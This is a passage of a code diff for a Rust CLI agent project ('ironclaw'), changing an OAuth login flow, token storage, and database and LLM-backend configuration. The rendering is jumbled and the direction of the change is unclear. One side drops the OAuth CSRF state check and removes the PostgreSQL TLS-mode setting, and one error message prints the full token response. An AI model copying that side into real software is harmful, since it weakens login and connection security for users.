let redirect_uri = format!("http://localhost:{}/callback", OAUTH_CALLBACK_PORT);
|
||||||
|
|
||||||
// Build authorization URL with PKCE and CSRF state
|
// Generate PKCE verifier and challenge
|
||||||
let oauth_result = oauth_defaults::build_oauth_url(
|
let (code_verifier, code_challenge) = if oauth.use_pkce {
|
||||||
&oauth.authorization_url,
|
let mut verifier_bytes = [0u8; 32];
|
||||||
&client_id,
|
rand::thread_rng().fill_bytes(&mut verifier_bytes);
|
||||||
&redirect_uri,
|
let verifier = URL_SAFE_NO_PAD.encode(verifier_bytes);
|
||||||
&oauth.scopes,
|
|
||||||
oauth.use_pkce,
|
let mut hasher = Sha256::new();
|
||||||
&oauth.extra_params,
|
hasher.update(verifier.as_bytes());
|
||||||
|
let challenge = URL_SAFE_NO_PAD.encode(hasher.finalize());
|
||||||
|
|
||||||
|
(Some(verifier), Some(challenge))
|
||||||
|
} else {
|
||||||
|
(None, None)
|
||||||
|
};
|
||||||
|
|
||||||
|
// Build authorization URL
|
||||||
|
let mut auth_url = format!(
|
||||||
|
"{}?client_id={}&response_type=code&redirect_uri={}",
|
||||||
|
oauth.authorization_url,
|
||||||
|
urlencoding::encode(&client_id),
|
||||||
|
urlencoding::encode(&redirect_uri)
|
||||||
);
|
);
|
||||||
let code_verifier = oauth_result.code_verifier;
|
|
||||||
|
if !oauth.scopes.is_empty() {
|
||||||
|
auth_url.push_str(&format!(
|
||||||
|
"&scope={}",
|
||||||
|
urlencoding::encode(&oauth.scopes.join(" "))
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(ref challenge) = code_challenge {
|
||||||
|
auth_url.push_str(&format!(
|
||||||
|
"&code_challenge={}&code_challenge_method=S256",
|
||||||
|
challenge
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Add extra params
|
||||||
|
for (key, value) in &oauth.extra_params {
|
||||||
|
auth_url.push_str(&format!(
|
||||||
|
"&{}={}",
|
||||||
|
urlencoding::encode(key),
|
||||||
|
urlencoding::encode(value)
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
println!(" Opening browser for {} login...", display_name);
|
println!(" Opening browser for {} login...", display_name);
|
||||||
println!();
|
println!();
|
||||||
|
|
||||||
if let Err(e) = open::that(&oauth_result.url) {
|
if let Err(e) = open::that(&auth_url) {
|
||||||
println!(" Could not open browser: {}", e);
|
println!(" Could not open browser: {}", e);
|
||||||
println!(" Please open this URL manually:");
|
println!(" Please open this URL manually:");
|
||||||
println!(" {}", oauth_result.url);
|
println!(" {}", auth_url);
|
||||||
}
|
}
|
||||||
|
|
||||||
println!(" Waiting for authorization...");
|
println!(" Waiting for authorization...");
|
||||||
|
|
||||||
let code = oauth_defaults::wait_for_callback(
|
let code =
|
||||||
listener,
|
oauth_defaults::wait_for_callback(listener, "/callback", "code", display_name).await?;
|
||||||
"/callback",
|
|
||||||
"code",
|
|
||||||
display_name,
|
|
||||||
Some(&oauth_result.state),
|
|
||||||
)
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
println!();
|
println!();
|
||||||
println!(" Exchanging code for token...");
|
println!(" Exchanging code for token...");
|
||||||
|
|
||||||
// Exchange code for token
|
// Exchange code for token
|
||||||
let token_response = oauth_defaults::exchange_oauth_code(
|
let client = reqwest::Client::new();
|
||||||
&oauth.token_url,
|
let mut token_params = vec![
|
||||||
&client_id,
|
("grant_type", "authorization_code".to_string()),
|
||||||
client_secret.as_deref(),
|
("code", code),
|
||||||
&code,
|
("redirect_uri", redirect_uri),
|
||||||
&redirect_uri,
|
];
|
||||||
code_verifier.as_deref(),
|
|
||||||
&oauth.access_token_field,
|
if let Some(ref verifier) = code_verifier {
|
||||||
|
token_params.push(("code_verifier", verifier.to_string()));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build token request
|
||||||
|
let mut request = client.post(&oauth.token_url);
|
||||||
|
|
||||||
|
// Use Basic auth if client_secret is provided, otherwise include client_id in body
|
||||||
|
if let Some(ref secret) = client_secret {
|
||||||
|
request = request.basic_auth(&client_id, Some(secret));
|
||||||
|
} else {
|
||||||
|
token_params.push(("client_id", client_id));
|
||||||
|
}
|
||||||
|
|
||||||
|
let token_response = request.form(&token_params).send().await?;
|
||||||
|
|
||||||
|
if !token_response.status().is_success() {
|
||||||
|
let status = token_response.status();
|
||||||
|
let body = token_response.text().await.unwrap_or_default();
|
||||||
|
return Err(anyhow::anyhow!(
|
||||||
|
"Token exchange failed: {} - {}",
|
||||||
|
status,
|
||||||
|
body
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
let token_data: serde_json::Value = token_response.json().await?;
|
||||||
|
let access_token = token_data
|
||||||
|
.get(&oauth.access_token_field)
|
||||||
|
.and_then(|v| v.as_str())
|
||||||
|
.ok_or_else(|| {
|
||||||
|
anyhow::anyhow!(
|
||||||
|
"No {} in token response: {:?}",
|
||||||
|
oauth.access_token_field,
|
||||||
|
token_data
|
||||||
|
)
|
||||||
|
})?;
|
||||||
|
|
||||||
|
let refresh_token = token_data.get("refresh_token").and_then(|v| v.as_str());
|
||||||
|
let expires_in = token_data.get("expires_in").and_then(|v| v.as_u64());
|
||||||
|
|
||||||
|
// Save the token (with refresh token and expiry if provided)
|
||||||
|
save_token(
|
||||||
|
store,
|
||||||
|
user_id,
|
||||||
|
auth,
|
||||||
|
access_token,
|
||||||
|
refresh_token,
|
||||||
|
expires_in,
|
||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
// Save tokens (access + refresh + scopes)
|
// Extract any additional info for display
|
||||||
oauth_defaults::store_oauth_tokens(
|
let workspace_name = token_data
|
||||||
store,
|
.get("workspace_name")
|
||||||
user_id,
|
.and_then(|v| v.as_str())
|
||||||
&auth.secret_name,
|
.or_else(|| token_data.get("team_name").and_then(|v| v.as_str()));
|
||||||
auth.provider.as_deref(),
|
|
||||||
&token_response.access_token,
|
|
||||||
token_response.refresh_token.as_deref(),
|
|
||||||
token_response.expires_in,
|
|
||||||
&oauth.scopes,
|
|
||||||
)
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
println!();
|
println!();
|
||||||
println!(" ✓ {} connected!", display_name);
|
println!(" ✓ {} connected!", display_name);
|
||||||
|
if let Some(workspace) = workspace_name {
|
||||||
|
println!(" Workspace: {}", workspace);
|
||||||
|
}
|
||||||
println!();
|
println!();
|
||||||
println!(" The tool can now access the API.");
|
println!(" The tool can now access the API.");
|
||||||
println!();
|
println!();
|
||||||
@@ -1030,15 +1071,46 @@ async fn validate_token(
|
|||||||
validation: &crate::tools::wasm::ValidationEndpointSchema,
|
validation: &crate::tools::wasm::ValidationEndpointSchema,
|
||||||
_secret_name: &str,
|
_secret_name: &str,
|
||||||
) -> anyhow::Result<()> {
|
) -> anyhow::Result<()> {
|
||||||
crate::cli::oauth_defaults::validate_oauth_token(token, validation)
|
let client = reqwest::Client::builder()
|
||||||
.await
|
.timeout(std::time::Duration::from_secs(10))
|
||||||
.map_err(|e| anyhow::anyhow!("{}", e))
|
.build()?;
|
||||||
|
|
||||||
|
// Build request based on method
|
||||||
|
let request = match validation.method.to_uppercase().as_str() {
|
||||||
|
"GET" => client.get(&validation.url),
|
||||||
|
"POST" => client.post(&validation.url),
|
||||||
|
_ => client.get(&validation.url),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Add authorization header (assume Bearer for now, could be extended)
|
||||||
|
let response = request
|
||||||
|
.header("Authorization", format!("Bearer {}", token))
|
||||||
|
.header("Notion-Version", "2022-06-28") // Notion-specific, but harmless for others
|
||||||
|
.send()
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
if response.status().as_u16() == validation.success_status {
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
let status = response.status();
|
||||||
|
let body = response.text().await.unwrap_or_default();
|
||||||
|
Err(anyhow::anyhow!(
|
||||||
|
"HTTP {} (expected {}): {}",
|
||||||
|
status,
|
||||||
|
validation.success_status,
|
||||||
|
if body.len() > 100 {
|
||||||
|
format!("{}...", &body[..100])
|
||||||
|
} else {
|
||||||
|
body
|
||||||
|
}
|
||||||
|
))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Save token to secrets store.
|
/// Save token to secrets store.
|
||||||
///
|
///
|
||||||
/// Delegates to the shared `store_oauth_tokens` for OAuth tokens, or stores
|
/// Optionally stores a refresh token (as `{secret_name}_refresh_token`) and
|
||||||
/// directly for manual/env-var tokens (no scopes or refresh token).
|
/// sets `expires_at` on the access token so the runtime can auto-refresh.
|
||||||
async fn save_token(
|
async fn save_token(
|
||||||
store: &(dyn SecretsStore + Send + Sync),
|
store: &(dyn SecretsStore + Send + Sync),
|
||||||
user_id: &str,
|
user_id: &str,
|
||||||
@@ -1047,18 +1119,36 @@ async fn save_token(
|
|||||||
refresh_token: Option<&str>,
|
refresh_token: Option<&str>,
|
||||||
expires_in: Option<u64>,
|
expires_in: Option<u64>,
|
||||||
) -> anyhow::Result<()> {
|
) -> anyhow::Result<()> {
|
||||||
crate::cli::oauth_defaults::store_oauth_tokens(
|
let mut params = CreateSecretParams::new(&auth.secret_name, token);
|
||||||
store,
|
|
||||||
user_id,
|
if let Some(ref provider) = auth.provider {
|
||||||
&auth.secret_name,
|
params = params.with_provider(provider);
|
||||||
auth.provider.as_deref(),
|
}
|
||||||
token,
|
|
||||||
refresh_token,
|
if let Some(secs) = expires_in {
|
||||||
expires_in,
|
let expires_at = chrono::Utc::now() + chrono::Duration::seconds(secs as i64);
|
||||||
&[], // No scopes for manual/env-var tokens
|
params = params.with_expiry(expires_at);
|
||||||
)
|
}
|
||||||
.await
|
|
||||||
.map_err(|e| anyhow::anyhow!("{}", e))
|
store
|
||||||
|
.create(user_id, params)
|
||||||
|
.await
|
||||||
|
.map_err(|e| anyhow::anyhow!("Failed to save token: {}", e))?;
|
||||||
|
|
||||||
|
// Store refresh token separately (no expiry, it's long-lived)
|
||||||
|
if let Some(rt) = refresh_token {
|
||||||
|
let refresh_name = format!("{}_refresh_token", auth.secret_name);
|
||||||
|
let mut refresh_params = CreateSecretParams::new(&refresh_name, rt);
|
||||||
|
if let Some(ref provider) = auth.provider {
|
||||||
|
refresh_params = refresh_params.with_provider(provider);
|
||||||
|
}
|
||||||
|
store
|
||||||
|
.create(user_id, refresh_params)
|
||||||
|
.await
|
||||||
|
.map_err(|e| anyhow::anyhow!("Failed to save refresh token: {}", e))?;
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Print success message.
|
/// Print success message.
|
||||||
@@ -1070,117 +1160,6 @@ fn print_success(display_name: &str) {
|
|||||||
println!();
|
println!();
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Configure required secrets for a tool via its `setup.required_secrets` schema.
|
|
||||||
async fn setup_tool(name: String, dir: Option<PathBuf>, user_id: String) -> anyhow::Result<()> {
|
|
||||||
validate_tool_name(&name)?;
|
|
||||||
let tools_dir = dir.unwrap_or_else(default_tools_dir);
|
|
||||||
let caps_path = tools_dir.join(format!("{}.capabilities.json", name));
|
|
||||||
|
|
||||||
if !caps_path.exists() {
|
|
||||||
anyhow::bail!(
|
|
||||||
"Tool '{}' not found or has no capabilities file at {}",
|
|
||||||
name,
|
|
||||||
caps_path.display()
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
let content = fs::read_to_string(&caps_path).await?;
|
|
||||||
let caps = CapabilitiesFile::from_json(&content)
|
|
||||||
.map_err(|e| anyhow::anyhow!("Invalid capabilities file: {}", e))?;
|
|
||||||
|
|
||||||
let setup = caps.setup.ok_or_else(|| {
|
|
||||||
anyhow::anyhow!(
|
|
||||||
"Tool '{}' has no setup configuration.\n\
|
|
||||||
The tool may not require setup, or setup is not defined.\n\
|
|
||||||
Try 'ironclaw tool auth {}' for OAuth-based authentication.",
|
|
||||||
name,
|
|
||||||
name
|
|
||||||
)
|
|
||||||
})?;
|
|
||||||
|
|
||||||
if setup.required_secrets.is_empty() {
|
|
||||||
println!("Tool '{}' has no required secrets.", name);
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
|
|
||||||
let display_name = caps
|
|
||||||
.auth
|
|
||||||
.as_ref()
|
|
||||||
.and_then(|a| a.display_name.as_deref())
|
|
||||||
.unwrap_or(&name);
|
|
||||||
|
|
||||||
println!();
|
|
||||||
println!("╔════════════════════════════════════════════════════════════════╗");
|
|
||||||
println!("║ {:^62}║", format!("{} Setup", display_name));
|
|
||||||
println!("╚════════════════════════════════════════════════════════════════╝");
|
|
||||||
println!();
|
|
||||||
|
|
||||||
let secrets_store = init_secrets_store().await?;
|
|
||||||
|
|
||||||
let mut any_saved = false;
|
|
||||||
|
|
||||||
for secret in &setup.required_secrets {
|
|
||||||
let already_exists = secrets_store
|
|
||||||
.exists(&user_id, &secret.name)
|
|
||||||
.await
|
|
||||||
.unwrap_or(false);
|
|
||||||
|
|
||||||
if already_exists {
|
|
||||||
println!(" ✓ {} (already configured)", secret.prompt);
|
|
||||||
|
|
||||||
print!(" Replace? [y/N]: ");
|
|
||||||
std::io::stdout().flush()?;
|
|
||||||
|
|
||||||
let mut input = String::new();
|
|
||||||
std::io::stdin().read_line(&mut input)?;
|
|
||||||
|
|
||||||
if !input.trim().eq_ignore_ascii_case("y") {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
print!(" {}: ", secret.prompt);
|
|
||||||
} else if secret.optional {
|
|
||||||
print!(" {} (optional, Enter to skip): ", secret.prompt);
|
|
||||||
} else {
|
|
||||||
print!(" {}: ", secret.prompt);
|
|
||||||
}
|
|
||||||
|
|
||||||
std::io::stdout().flush()?;
|
|
||||||
let value = read_hidden_input()?;
|
|
||||||
println!();
|
|
||||||
|
|
||||||
if value.is_empty() {
|
|
||||||
if secret.optional {
|
|
||||||
println!(" Skipped.");
|
|
||||||
} else {
|
|
||||||
println!(
|
|
||||||
" Warning: empty value for required secret '{}'.",
|
|
||||||
secret.name
|
|
||||||
);
|
|
||||||
}
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
let params = CreateSecretParams::new(&secret.name, &value).with_provider(name.to_string());
|
|
||||||
secrets_store
|
|
||||||
.create(&user_id, params)
|
|
||||||
.await
|
|
||||||
.map_err(|e| anyhow::anyhow!("Failed to save secret: {}", e))?;
|
|
||||||
|
|
||||||
println!(" ✓ Saved.");
|
|
||||||
any_saved = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
println!();
|
|
||||||
if any_saved {
|
|
||||||
println!(" ✓ {} setup complete!", display_name);
|
|
||||||
} else {
|
|
||||||
println!(" No changes made.");
|
|
||||||
}
|
|
||||||
println!();
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(test)]
|
#[cfg(test)]
|
||||||
mod tests {
|
mod tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|||||||
+14
-20
@@ -1,9 +1,7 @@
|
|||||||
use std::collections::HashMap;
|
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
|
|
||||||
use secrecy::SecretString;
|
use secrecy::SecretString;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
use crate::config::helpers::{optional_env, parse_bool_env, parse_optional_env};
|
||||||
use crate::error::ConfigError;
|
use crate::error::ConfigError;
|
||||||
use crate::settings::Settings;
|
use crate::settings::Settings;
|
||||||
@@ -19,9 +17,8 @@ pub struct ChannelsConfig {
|
|||||||
pub wasm_channels_dir: std::path::PathBuf,
|
pub wasm_channels_dir: std::path::PathBuf,
|
||||||
/// Whether WASM channels are enabled.
|
/// Whether WASM channels are enabled.
|
||||||
pub wasm_channels_enabled: bool,
|
pub wasm_channels_enabled: bool,
|
||||||
/// Per-channel owner user IDs. When set, the channel only responds to this user.
|
/// Telegram owner user ID. When set, the bot only responds to this user.
|
||||||
/// Key: channel name (e.g., "telegram"), Value: owner user ID.
|
pub telegram_owner_id: Option<i64>,
|
||||||
pub wasm_channel_owner_ids: HashMap<String, i64>,
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
#[derive(Debug, Clone)]
|
||||||
@@ -182,25 +179,22 @@ impl ChannelsConfig {
|
|||||||
.map(PathBuf::from)
|
.map(PathBuf::from)
|
||||||
.unwrap_or_else(default_channels_dir),
|
.unwrap_or_else(default_channels_dir),
|
||||||
wasm_channels_enabled: parse_bool_env("WASM_CHANNELS_ENABLED", true)?,
|
wasm_channels_enabled: parse_bool_env("WASM_CHANNELS_ENABLED", true)?,
|
||||||
wasm_channel_owner_ids: {
|
telegram_owner_id: optional_env("TELEGRAM_OWNER_ID")?
|
||||||
let mut ids = settings.channels.wasm_channel_owner_ids.clone();
|
.map(|s| s.parse())
|
||||||
// Backwards compat: TELEGRAM_OWNER_ID env var
|
.transpose()
|
||||||
if let Some(id_str) = optional_env("TELEGRAM_OWNER_ID")? {
|
.map_err(|e: std::num::ParseIntError| ConfigError::InvalidValue {
|
||||||
let id: i64 = id_str.parse().map_err(|e: std::num::ParseIntError| {
|
key: "TELEGRAM_OWNER_ID".to_string(),
|
||||||
ConfigError::InvalidValue {
|
message: format!("must be an integer: {e}"),
|
||||||
key: "TELEGRAM_OWNER_ID".to_string(),
|
})?
|
||||||
message: format!("must be an integer: {e}"),
|
.or(settings.channels.telegram_owner_id),
|
||||||
}
|
|
||||||
})?;
|
|
||||||
ids.insert("telegram".to_string(), id);
|
|
||||||
}
|
|
||||||
ids
|
|
||||||
},
|
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Get the default channels directory (~/.ironclaw/channels/).
|
/// Get the default channels directory (~/.ironclaw/channels/).
|
||||||
fn default_channels_dir() -> PathBuf {
|
fn default_channels_dir() -> PathBuf {
|
||||||
ironclaw_base_dir().join("channels")
|
dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
|
.join("channels")
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-101
@@ -2,7 +2,6 @@ use std::path::PathBuf;
|
|||||||
|
|
||||||
use secrecy::{ExposeSecret, SecretString};
|
use secrecy::{ExposeSecret, SecretString};
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::helpers::{optional_env, parse_optional_env};
|
use crate::config::helpers::{optional_env, parse_optional_env};
|
||||||
use crate::error::ConfigError;
|
use crate::error::ConfigError;
|
||||||
|
|
||||||
@@ -40,48 +39,6 @@ impl std::str::FromStr for DatabaseBackend {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// PostgreSQL SSL/TLS mode, matching libpq semantics for the common cases.
|
|
||||||
///
|
|
||||||
/// Default is `Prefer`: attempt TLS, fall back to plaintext. This is the
|
|
||||||
/// safest non-breaking default — local Postgres without TLS keeps working
|
|
||||||
/// while managed providers (Neon, Supabase, RDS) automatically get TLS.
|
|
||||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
|
||||||
pub enum SslMode {
|
|
||||||
/// Never use TLS (equivalent to libpq `sslmode=disable`).
|
|
||||||
Disable,
|
|
||||||
/// Try TLS first; fall back to plaintext on failure (default).
|
|
||||||
#[default]
|
|
||||||
Prefer,
|
|
||||||
/// Require TLS; fail if the server does not support it.
|
|
||||||
Require,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl std::fmt::Display for SslMode {
|
|
||||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
|
||||||
match self {
|
|
||||||
Self::Disable => write!(f, "disable"),
|
|
||||||
Self::Prefer => write!(f, "prefer"),
|
|
||||||
Self::Require => write!(f, "require"),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl std::str::FromStr for SslMode {
|
|
||||||
type Err = String;
|
|
||||||
|
|
||||||
fn from_str(s: &str) -> Result<Self, Self::Err> {
|
|
||||||
match s.to_lowercase().as_str() {
|
|
||||||
"disable" => Ok(Self::Disable),
|
|
||||||
"prefer" => Ok(Self::Prefer),
|
|
||||||
"require" => Ok(Self::Require),
|
|
||||||
_ => Err(format!(
|
|
||||||
"invalid DATABASE_SSLMODE '{}', expected 'disable', 'prefer', or 'require'",
|
|
||||||
s
|
|
||||||
)),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Database configuration.
|
/// Database configuration.
|
||||||
#[derive(Debug, Clone)]
|
#[derive(Debug, Clone)]
|
||||||
pub struct DatabaseConfig {
|
pub struct DatabaseConfig {
|
||||||
@@ -91,8 +48,6 @@ pub struct DatabaseConfig {
|
|||||||
// -- PostgreSQL fields --
|
// -- PostgreSQL fields --
|
||||||
pub url: SecretString,
|
pub url: SecretString,
|
||||||
pub pool_size: usize,
|
pub pool_size: usize,
|
||||||
/// TLS mode for PostgreSQL connections (default: Prefer).
|
|
||||||
pub ssl_mode: SslMode,
|
|
||||||
|
|
||||||
// -- libSQL fields --
|
// -- libSQL fields --
|
||||||
/// Path to local libSQL database file (default: ~/.ironclaw/ironclaw.db).
|
/// Path to local libSQL database file (default: ~/.ironclaw/ironclaw.db).
|
||||||
@@ -132,15 +87,6 @@ impl DatabaseConfig {
|
|||||||
|
|
||||||
let pool_size = parse_optional_env("DATABASE_POOL_SIZE", 10)?;
|
let pool_size = parse_optional_env("DATABASE_POOL_SIZE", 10)?;
|
||||||
|
|
||||||
let ssl_mode: SslMode = if let Some(s) = optional_env("DATABASE_SSLMODE")? {
|
|
||||||
s.parse().map_err(|e| ConfigError::InvalidValue {
|
|
||||||
key: "DATABASE_SSLMODE".to_string(),
|
|
||||||
message: e,
|
|
||||||
})?
|
|
||||||
} else {
|
|
||||||
SslMode::default()
|
|
||||||
};
|
|
||||||
|
|
||||||
let libsql_path = optional_env("LIBSQL_PATH")?.map(PathBuf::from).or_else(|| {
|
let libsql_path = optional_env("LIBSQL_PATH")?.map(PathBuf::from).or_else(|| {
|
||||||
if backend == DatabaseBackend::LibSql {
|
if backend == DatabaseBackend::LibSql {
|
||||||
Some(default_libsql_path())
|
Some(default_libsql_path())
|
||||||
@@ -163,7 +109,6 @@ impl DatabaseConfig {
|
|||||||
backend,
|
backend,
|
||||||
url: SecretString::from(url),
|
url: SecretString::from(url),
|
||||||
pool_size,
|
pool_size,
|
||||||
ssl_mode,
|
|
||||||
libsql_path,
|
libsql_path,
|
||||||
libsql_url,
|
libsql_url,
|
||||||
libsql_auth_token,
|
libsql_auth_token,
|
||||||
@@ -176,52 +121,10 @@ impl DatabaseConfig {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
impl SslMode {
|
|
||||||
/// Read from `DATABASE_SSLMODE` env var, defaulting to `Prefer`.
|
|
||||||
///
|
|
||||||
/// Silently falls back to `Prefer` on missing or unparseable values.
|
|
||||||
/// Used by lightweight CLI tools (status, doctor) that don't run the
|
|
||||||
/// full config pipeline.
|
|
||||||
pub fn from_env() -> Self {
|
|
||||||
std::env::var("DATABASE_SSLMODE")
|
|
||||||
.ok()
|
|
||||||
.and_then(|s| s.parse().ok())
|
|
||||||
.unwrap_or_default()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Default libSQL database path (~/.ironclaw/ironclaw.db).
|
/// Default libSQL database path (~/.ironclaw/ironclaw.db).
|
||||||
pub fn default_libsql_path() -> PathBuf {
|
pub fn default_libsql_path() -> PathBuf {
|
||||||
ironclaw_base_dir().join("ironclaw.db")
|
dirs::home_dir()
|
||||||
}
|
.unwrap_or_else(|| PathBuf::from("."))
|
||||||
|
.join(".ironclaw")
|
||||||
#[cfg(test)]
|
.join("ironclaw.db")
|
||||||
mod tests {
|
|
||||||
use super::*;
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn ssl_mode_default_is_prefer() {
|
|
||||||
assert_eq!(SslMode::default(), SslMode::Prefer);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn ssl_mode_parse_roundtrip() {
|
|
||||||
for mode in [SslMode::Disable, SslMode::Prefer, SslMode::Require] {
|
|
||||||
let s = mode.to_string();
|
|
||||||
let parsed: SslMode = s.parse().expect("should parse");
|
|
||||||
assert_eq!(parsed, mode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn ssl_mode_parse_case_insensitive() {
|
|
||||||
assert_eq!("DISABLE".parse::<SslMode>().unwrap(), SslMode::Disable);
|
|
||||||
assert_eq!("Prefer".parse::<SslMode>().unwrap(), SslMode::Prefer);
|
|
||||||
assert_eq!("REQUIRE".parse::<SslMode>().unwrap(), SslMode::Require);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn ssl_mode_parse_invalid() {
|
|
||||||
assert!("invalid".parse::<SslMode>().is_err());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,4 +1,3 @@
|
|||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::helpers::{parse_bool_env, parse_optional_env};
|
use crate::config::helpers::{parse_bool_env, parse_optional_env};
|
||||||
use crate::error::ConfigError;
|
use crate::error::ConfigError;
|
||||||
|
|
||||||
@@ -42,7 +41,9 @@ impl HygieneConfig {
|
|||||||
enabled: self.enabled,
|
enabled: self.enabled,
|
||||||
retention_days: self.retention_days,
|
retention_days: self.retention_days,
|
||||||
cadence_hours: self.cadence_hours,
|
cadence_hours: self.cadence_hours,
|
||||||
state_dir: ironclaw_base_dir(),
|
state_dir: dirs::home_dir()
|
||||||
|
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||||
|
.join(".ironclaw"),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+231
-67
@@ -2,7 +2,6 @@ use std::path::PathBuf;
|
|||||||
|
|
||||||
use secrecy::SecretString;
|
use secrecy::SecretString;
|
||||||
|
|
||||||
use crate::bootstrap::ironclaw_base_dir;
|
|
||||||
use crate::config::helpers::{optional_env, parse_optional_env};
|
use crate::config::helpers::{optional_env, parse_optional_env};
|
||||||
use crate::error::ConfigError;
|
use crate::error::ConfigError;
|
||||||
use crate::settings::Settings;
|
use crate::settings::Settings;
|
||||||
@@ -26,6 +25,8 @@ pub enum LlmBackend {
|
|||||||
OpenAiCompatible,
|
OpenAiCompatible,
|
||||||
/// Tinfoil private inference
|
/// Tinfoil private inference
|
||||||
Tinfoil,
|
Tinfoil,
|
||||||
|
/// OpenAI Codex via Responses API (ChatGPT OAuth or API key)
|
||||||
|
OpenAiCodex,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl std::str::FromStr for LlmBackend {
|
impl std::str::FromStr for LlmBackend {
|
||||||
@@ -39,8 +40,9 @@ impl std::str::FromStr for LlmBackend {
|
|||||||
"ollama" => Ok(Self::Ollama),
|
"ollama" => Ok(Self::Ollama),
|
||||||
"openai_compatible" | "openai-compatible" | "compatible" => Ok(Self::OpenAiCompatible),
|
"openai_compatible" | "openai-compatible" | "compatible" => Ok(Self::OpenAiCompatible),
|
||||||
"tinfoil" => Ok(Self::Tinfoil),
|
"tinfoil" => Ok(Self::Tinfoil),
|
||||||
|
"openai_codex" | "codex" => Ok(Self::OpenAiCodex),
|
||||||
_ => Err(format!(
|
_ => Err(format!(
|
||||||
"invalid LLM backend '{}', expected one of: nearai, openai, anthropic, ollama, openai_compatible, tinfoil",
|
"invalid LLM backend '{}', expected one of: nearai, openai, anthropic, ollama, openai_compatible, tinfoil, openai_codex",
|
||||||
s
|
s
|
||||||
)),
|
)),
|
||||||
}
|
}
|
||||||
@@ -56,23 +58,7 @@ impl std::fmt::Display for LlmBackend {
|
|||||||
Self::Ollama => write!(f, "ollama"),
|
Self::Ollama => write!(f, "ollama"),
|
||||||
Self::OpenAiCompatible => write!(f, "openai_compatible"),
|
Self::OpenAiCompatible => write!(f, "openai_compatible"),
|
||||||
Self::Tinfoil => write!(f, "tinfoil"),
|
Self::Tinfoil => write!(f, "tinfoil"),
|
||||||
}
|
Self::OpenAiCodex => write!(f, "openai_codex"),
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl LlmBackend {
|
|
||||||
/// The environment variable that configures the model name for this backend.
|
|
||||||
///
|
|
||||||
/// Used by both `LlmConfig::resolve()` (reads the var) and the setup wizard
|
|
||||||
/// (writes the var to `.env`). Centralised here so the two stay in sync.
|
|
||||||
pub fn model_env_var(&self) -> &'static str {
|
|
||||||
match self {
|
|
||||||
Self::NearAi => "NEARAI_MODEL",
|
|
||||||
Self::OpenAi => "OPENAI_MODEL",
|
|
||||||
Self::Anthropic => "ANTHROPIC_MODEL",
|
|
||||||
Self::Ollama => "OLLAMA_MODEL",
|
|
||||||
Self::OpenAiCompatible => "LLM_MODEL",
|
|
||||||
Self::Tinfoil => "TINFOIL_MODEL",
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -120,6 +106,29 @@ pub struct TinfoilConfig {
|
|||||||
pub model: String,
|
pub model: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Configuration for OpenAI Codex via Responses API.
|
||||||
|
///
|
||||||
|
/// Supports two auth modes:
|
||||||
|
/// - **API key**: Standard OpenAI billing via `api.openai.com/v1/responses`
|
||||||
|
/// - **OAuth**: ChatGPT subscription billing via `chatgpt.com/backend-api/codex/responses`,
|
||||||
|
/// using tokens from the Codex CLI (`~/.codex/auth.json`)
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
